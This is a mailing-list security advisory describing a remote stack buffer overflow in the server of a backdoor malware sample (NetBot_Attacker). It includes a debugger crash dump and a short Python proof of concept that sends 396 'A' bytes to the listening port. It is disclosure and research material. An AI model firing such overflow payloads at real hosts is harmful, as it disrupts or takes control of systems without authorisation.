Date: Mon, 26 Jul 2021 08:37:10 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Nbdd.bgz / Remote Stack Buffer Overflow

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/6fab73bf104c6a9211b94f9559faa134.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Nbdd.bgz
Vulnerability: Remote Stack Buffer Overflow
Description: NetBot_Attacker VIP 5.9 on initial startup listens on port
8080 and on subsequent restarts port 80. Third-party attackers who can
reach an infected system can send just 396 bytes to trigger a classic stack
buffer overflow overwriting the EIP, ECX registers and SEH records.
Type: PE32
MD5: 6fab73bf104c6a9211b94f9559faa134
Vuln ID: MVID-2021-0309
Dropped files: NB_Server.exe
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 07/26/2021

Memory Dump:
(114.e0c): Access violation - code c0000005 (first/second chance not
available)
eax=00000000 ebx=041d1b60 ecx=41414141 edx=00000000 esi=041d1b60
edi=004060f0
eip=41414141 esp=074eff80 ebp=074eff94 iopl=0         nv up ei pl nz na pe
nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b
efl=00010206
41414141 ??              ???

0:006> !analyze -v
*******************************************************************************
*
  *
*                        Exception Analysis
  *
*
  *
*******************************************************************************


FAULTING_IP:
+0
41414141 ??              ???

EXCEPTION_RECORD:  ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 41414141
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000008
NumberParameters: 2
   Parameter[0]: 00000000
   Parameter[1]: 41414141
Attempt to read from address 41414141

PROCESS_NAME:  Backdoor.Win32.Nbdd.bgz.6fab73bf104c6a9211b94f9559faa134.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced
memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced
memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1:  00000000

EXCEPTION_PARAMETER2:  41414141

READ_ADDRESS:  41414141

FOLLOWUP_IP:
+0
41414141 ??              ???

FAILED_INSTRUCTION_ADDRESS:
+0
41414141 ??              ???

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG:  0

APPLICATION_VERIFIER_FLAGS:  0

IP_ON_HEAP:  41414141
The fault address in not in any loaded module, please check your build's
rebase
log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which
may
contain the address if it were loaded.

IP_IN_FREE_BLOCK: 41414141

ADDITIONAL_DEBUG_TEXT:  Followup set based on attribute
[Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO_THREAD]

LAST_CONTROL_TRANSFER:  from 41414141 to 41414141

FAULTING_THREAD:  ffffffff

BUGCHECK_STR:
 APPLICATION_FAULT_BAD_INSTRUCTION_PTR_INVALID_POINTER_READ_EXPLOITABLE_FILL_PATTERN_41414141_STACKIMMUNE

PRIMARY_PROBLEM_CLASS:  BAD_INSTRUCTION_PTR_STACKIMMUNE

DEFAULT_BUCKET_ID:  BAD_INSTRUCTION_PTR_STACKIMMUNE

FRAME_ONE_INVALID: 1

STACK_TEXT:
00000000 00000000
unknown!backdoor.win32.nbdd.bgz.6fab73bf104c6a9211b94f9559faa134.exe+0x0


STACK_COMMAND:  .cxr 00000000074EFB20 ; kb ; ** Pseudo Context ** ; kb

SYMBOL_NAME:
 unknown!backdoor.win32.nbdd.bgz.6fab73bf104c6a9211b94f9559faa134.exe

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: unknown

IMAGE_NAME:  unknown

DEBUG_FLR_IMAGE_TIMESTAMP:  0

FAILURE_BUCKET_ID:
 BAD_INSTRUCTION_PTR_STACKIMMUNE_c0000005_unknown!Unloaded

BUCKET_ID:
 APPLICATION_FAULT_BAD_INSTRUCTION_PTR_INVALID_POINTER_READ_EXPLOITABLE_FILL_PATTERN_41414141_STACKIMMUNE_BAD_IP_unknown!backdoor.win32.nbdd.bgz.6fab73bf104c6a9211b94f9559faa134.exe

Followup: MachineOwner
---------

0:006> !exchain
Invalid exception stack at 41414141


Exploit/PoC:
from socket import *

#Note: may require two consecutive requests to exploit.
MALWARE_HOST="x.x.x.x"
PORT=80

s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))

PAYLOAD="A"*396
s.send(PAYLOAD)
s.close()

print("Backdoor.Win32.Nbdd.bgz / Remote Stack Buffer Overflow")
print("MD5: 6fab73bf104c6a9211b94f9559faa134")
print("By Malvuln")


Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

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